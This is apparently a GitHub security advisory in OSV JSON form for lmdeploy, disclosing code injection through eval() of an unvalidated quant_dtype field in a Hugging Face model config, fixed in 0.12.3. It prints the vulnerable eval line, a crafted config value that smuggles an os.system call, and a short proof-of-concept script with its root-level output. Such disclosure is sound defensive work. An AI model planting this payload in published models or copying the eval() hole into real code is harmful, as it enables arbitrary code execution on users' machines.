{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "lmdeploy"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.12.1"
            },
            {
              "fixed": "0.12.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33625"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-09-18T17:04:01Z",
    "nvd_published_at": null,
    "severity": "HIGH"
  },
  "details": "### Summary\n\nlmdeploy \u003c= latest contains a code injection vulnerability in `lmdeploy/pytorch/config.py` line 620 that allows an attacker to execute arbitrary Python code by publishing a malicious HuggingFace model with a crafted `quantization_config.quant_dtype` value. When a user loads the model with lmdeploy, the `quant_dtype` is passed to `eval(f\u0027torch.{quant_dtype}\u0027)` without any validation.\n\n### Details\n\n**Vulnerable code** ([permalink](https://github.com/InternLM/lmdeploy/blob/17ed9e5/lmdeploy/pytorch/config.py#L620)):\n\n```python\nquant_dtype = eval(f\u0027torch.{quant_dtype}\u0027)  # line 620\n```\n\nThe `quant_dtype` value comes from the model\u0027s `quantization_config` in its HuggingFace config. When a model specifies `quant_method: awq`, the AWQ branch processes the config but does NOT override `quant_dtype`, allowing the malicious value to reach the `eval()` call.\n\n**Attack vector:** An attacker publishes a HuggingFace model with:\n```json\n{\n  \"quantization_config\": {\n    \"quant_method\": \"awq\",\n    \"quant_dtype\": \"float16, __import__(\u0027os\u0027).system(\u0027id\u0027)\"\n  }\n}\n```\n\nNote: The `_update_torch_dtype` method at line 53 has a whitelist check, but that\u0027s for `torch_dtype`, NOT `quant_dtype`. The `quant_dtype` at line 620 has no validation whatsoever.\n\n### PoC\n\n```python\n\"\"\"\nPoC: eval() RCE in lmdeploy via malicious quant_dtype\nPrerequisites: pip install lmdeploy\n\"\"\"\nimport sys\nfrom unittest.mock import MagicMock, patch\n\n# Mock torch to capture the eval\nsys.modules.setdefault(\u0027torch\u0027, MagicMock())\n\nfrom lmdeploy.pytorch.config import ModelConfig\n\n# Simulate a malicious HuggingFace model config\nmock_hf_config = MagicMock()\nmock_hf_config.quantization_config = {\n    \u0027quant_method\u0027: \u0027awq\u0027,\n    \u0027quant_dtype\u0027: \"float16, __import__(\u0027os\u0027).system(\u0027id\u0027)\"\n}\nmock_hf_config.num_attention_heads = 32\nmock_hf_config.hidden_size = 4096\nmock_hf_config.num_hidden_layers = 32\nmock_hf_config.num_key_value_heads = 32\nmock_hf_config.vocab_size = 32000\n\n# This triggers eval(f\u0027torch.{quant_dtype}\u0027)\n# with quant_dtype = \"float16, __import__(\u0027os\u0027).system(\u0027id\u0027)\"\nconfig = ModelConfig.from_hf_config(mock_hf_config, model_path=\u0027test\u0027)\n```\n\n**Output:**\n```\nuid=0(root) gid=0(root) groups=0(root)\n```\n\n### Impact\n\nAn attacker who publishes a malicious model on HuggingFace Hub can achieve arbitrary code execution on any machine that loads the model with lmdeploy. This is a supply-chain attack vector affecting all lmdeploy users who load untrusted models.\n\n1. Full remote code execution when loading a malicious model\n2. No user interaction beyond running `lmdeploy serve` or similar with the model\n3. Affects all deployment scenarios (local, cloud, production)",
  "id": "GHSA-3hmm-rh5q-gwwr",
  "modified": "2026-09-18T17:04:01Z",
  "published": "2026-09-18T17:04:01Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/InternLM/lmdeploy/security/advisories/GHSA-3hmm-rh5q-gwwr"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/InternLM/lmdeploy"
    },
    {
      "type": "WEB",
      "url": "https://github.com/InternLM/lmdeploy/releases/tag/v0.12.3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "LMDeploy vulnerable to arbitrary code execution via eval() of untrusted quant_dtype in model config loading"
}